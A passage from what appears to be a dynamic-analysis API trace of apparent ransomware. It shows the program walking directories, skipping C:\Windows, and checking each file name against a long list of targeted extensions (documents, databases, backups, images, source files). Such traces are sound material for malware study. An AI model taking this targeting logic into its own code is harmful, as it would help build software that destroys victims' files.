returned -1 [0040.281] lstrlenW (lpString=".cpp") returned 4 [0040.281] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".cr2") returned 4 [0040.282] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".crt") returned 4 [0040.282] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".crw") returned 4 [0040.282] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".cs") returned 3 [0040.282] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0040.282] lstrlenW (lpString=".css") returned 4 [0040.282] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".csv") returned 4 [0040.282] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".cub") returned 4 [0040.282] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dae") returned 4 [0040.282] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dat") returned 4 [0040.282] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".db") returned 3 [0040.282] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0040.282] lstrlenW (lpString=".dbf") returned 4 [0040.282] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dbx") returned 4 [0040.282] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dc3") returned 4 [0040.282] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dcm") returned 4 [0040.282] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dcr") returned 4 [0040.282] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".der") returned 4 [0040.282] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0040.282] lstrlenW (lpString=".dib") returned 4 [0040.283] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dic") returned 4 [0040.283] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dif") returned 4 [0040.283] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".divx") returned 5 [0040.283] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".djvu") returned 5 [0040.283] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".dng") returned 4 [0040.283] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".doc") returned 4 [0040.283] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".docm") returned 5 [0040.283] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".docx") returned 5 [0040.283] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".dot") returned 4 [0040.283] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dotm") returned 5 [0040.283] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".dotx") returned 5 [0040.283] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0040.283] lstrlenW (lpString=".dpx") returned 4 [0040.283] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dqy") returned 4 [0040.283] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dsn") returned 4 [0040.283] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dt") returned 3 [0040.283] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0040.283] lstrlenW (lpString=".dtd") returned 4 [0040.283] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0040.283] lstrlenW (lpString=".dwg") returned 4 [0040.284] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".dwt") returned 4 [0040.284] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".dx") returned 3 [0040.284] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0040.284] lstrlenW (lpString=".dxf") returned 4 [0040.284] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".edml") returned 5 [0040.284] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0040.284] lstrlenW (lpString=".efd") returned 4 [0040.284] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".elf") returned 4 [0040.284] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".emf") returned 4 [0040.284] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".emz") returned 4 [0040.284] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".epf") returned 4 [0040.284] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".eps") returned 4 [0040.284] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0040.284] lstrlenW (lpString=".epsf") returned 5 [0040.284] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0040.284] lstrlenW (lpString=".epsp") returned 5 [0040.285] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0040.285] lstrlenW (lpString=".erf") returned 4 [0040.285] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".exr") returned 4 [0040.285] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".f4v") returned 4 [0040.285] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".fido") returned 5 [0040.285] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0040.285] lstrlenW (lpString=".flm") returned 4 [0040.285] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".flv") returned 4 [0040.285] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".frm") returned 4 [0040.285] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".fxg") returned 4 [0040.285] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".geo") returned 4 [0040.285] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".gif") returned 4 [0040.285] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".grs") returned 4 [0040.285] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0040.285] lstrlenW (lpString=".gz") returned 3 [0040.285] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0040.285] lstrlenW (lpString=".h") returned 2 [0040.285] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0040.285] lstrlenW (lpString=".hdr") returned 4 [0040.286] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".hpp") returned 4 [0040.286] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".hta") returned 4 [0040.286] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".htc") returned 4 [0040.286] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".htm") returned 4 [0040.286] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".html") returned 5 [0040.286] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0040.286] lstrlenW (lpString=".icb") returned 4 [0040.286] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".ics") returned 4 [0040.286] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".iff") returned 4 [0040.286] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".inc") returned 4 [0040.286] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0040.286] lstrlenW (lpString=".indd") returned 5 [0040.286] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0040.286] lstrlenW (lpString=".ini") returned 4 [0040.286] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0040.286] FindNextFileW (in: hFindFile=0x604260, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0040.286] FindClose (in: hFindFile=0x604260 | out: hFindFile=0x604260) returned 1 [0040.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.286] FindNextFileW (in: hFindFile=0x603218, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0040.286] FindClose (in: hFindFile=0x603218 | out: hFindFile=0x603218) returned 1 [0040.287] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39406e0 | out: hHeap=0x510000) returned 1 [0040.287] FindNextFileW (in: hFindFile=0x6031d8, lpFindFileData=0x353fd00 | out: lpFindFileData=0x353fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0040.287] lstrlenW (lpString="C:\\Boot") returned 7 [0040.287] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0040.288] lstrlenW (lpString="Boot") returned 4 [0040.288] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0040.288] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39406e0 [0040.288] lstrlenW (lpString="C:\\Boot") returned 7 [0040.288] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604220 [0040.288] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.288] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0040.288] lstrlenW (lpString="BCD") returned 3 [0040.288] lstrlenW (lpString=".1cd") returned 4 [0040.288] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0040.288] lstrlenW (lpString=".3ds") returned 4 [0040.288] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0040.288] lstrlenW (lpString=".3fr") returned 4 [0040.288] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0040.288] lstrlenW (lpString=".3g2") returned 4 [0040.288] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0040.288] lstrlenW (lpString=".3gp") returned 4 [0040.288] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".7z") returned 3 [0040.289] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0040.289] lstrlenW (lpString=".accda") returned 6 [0040.289] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".accdb") returned 6 [0040.289] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".accdc") returned 6 [0040.289] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".accde") returned 6 [0040.289] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".accdt") returned 6 [0040.289] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".accdw") returned 6 [0040.289] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".adb") returned 4 [0040.289] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".adp") returned 4 [0040.289] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai") returned 3 [0040.289] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0040.289] lstrlenW (lpString=".ai3") returned 4 [0040.289] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai4") returned 4 [0040.289] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai5") returned 4 [0040.289] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai6") returned 4 [0040.289] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai7") returned 4 [0040.289] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".ai8") returned 4 [0040.289] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0040.289] lstrlenW (lpString=".anim") returned 5 [0040.290] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".arw") returned 4 [0040.290] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".as") returned 3 [0040.290] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0040.290] lstrlenW (lpString=".asa") returned 4 [0040.290] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asc") returned 4 [0040.290] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".ascx") returned 5 [0040.290] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asm") returned 4 [0040.290] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asmx") returned 5 [0040.290] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asp") returned 4 [0040.290] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".aspx") returned 5 [0040.290] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asr") returned 4 [0040.290] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".asx") returned 4 [0040.290] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".avi") returned 4 [0040.290] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".avs") returned 4 [0040.290] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".backup") returned 7 [0040.290] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".bak") returned 4 [0040.290] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0040.290] lstrlenW (lpString=".bay") returned 4 [0040.290] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".bd") returned 3 [0040.291] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0040.291] lstrlenW (lpString=".bin") returned 4 [0040.291] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".bmp") returned 4 [0040.291] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".bz2") returned 4 [0040.291] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".c") returned 2 [0040.291] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0040.291] lstrlenW (lpString=".cdr") returned 4 [0040.291] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cer") returned 4 [0040.291] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cf") returned 3 [0040.291] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0040.291] lstrlenW (lpString=".cfc") returned 4 [0040.291] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cfm") returned 4 [0040.291] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cfml") returned 5 [0040.291] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cfu") returned 4 [0040.291] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".chm") returned 4 [0040.291] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".cin") returned 4 [0040.291] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0040.291] lstrlenW (lpString=".class") returned 6 [0040.292] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".clx") returned 4 [0040.292] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".config") returned 7 [0040.292] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".cpp") returned 4 [0040.292] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".cr2") returned 4 [0040.292] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".crt") returned 4 [0040.292] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".crw") returned 4 [0040.292] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".cs") returned 3 [0040.292] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0040.292] lstrlenW (lpString=".css") returned 4 [0040.292] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".csv") returned 4 [0040.292] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".cub") returned 4 [0040.292] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".dae") returned 4 [0040.292] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".dat") returned 4 [0040.292] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".db") returned 3 [0040.292] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0040.292] lstrlenW (lpString=".dbf") returned 4 [0040.292] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".dbx") returned 4 [0040.292] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0040.292] lstrlenW (lpString=".dc3") returned 4 [0040.292] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dcm") returned 4 [0040.293] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dcr") returned 4 [0040.293] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".der") returned 4 [0040.293] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dib") returned 4 [0040.293] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dic") returned 4 [0040.293] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dif") returned 4 [0040.293] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".divx") returned 5 [0040.293] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".djvu") returned 5 [0040.293] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dng") returned 4 [0040.293] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".doc") returned 4 [0040.293] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".docm") returned 5 [0040.293] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".docx") returned 5 [0040.293] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dot") returned 4 [0040.293] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dotm") returned 5 [0040.293] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dotx") returned 5 [0040.293] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dpx") returned 4 [0040.293] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0040.293] lstrlenW (lpString=".dqy") returned 4 [0040.293] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".dsn") returned 4 [0040.294] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".dt") returned 3 [0040.294] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0040.294] lstrlenW (lpString=".dtd") returned 4 [0040.294] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".dwg") returned 4 [0040.294] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".dwt") returned 4 [0040.294] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".dx") returned 3 [0040.294] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0040.294] lstrlenW (lpString=".dxf") returned 4 [0040.294] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".edml") returned 5 [0040.294] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".efd") returned 4 [0040.294] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".elf") returned 4 [0040.294] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".emf") returned 4 [0040.294] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".emz") returned 4 [0040.294] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".epf") returned 4 [0040.294] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".eps") returned 4 [0040.294] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".epsf") returned 5 [0040.294] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0040.294] lstrlenW (lpString=".epsp") returned 5 [0040.294] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".erf") returned 4 [0040.295] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".exr") returned 4 [0040.295] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".f4v") returned 4 [0040.295] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".fido") returned 5 [0040.295] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".flm") returned 4 [0040.295] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".flv") returned 4 [0040.295] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".frm") returned 4 [0040.295] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0040.295] lstrlenW (lpString=".fxg") returned 4 [0040.295] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0040.295] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.295] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0040.296] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.296] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.297] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.297] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: 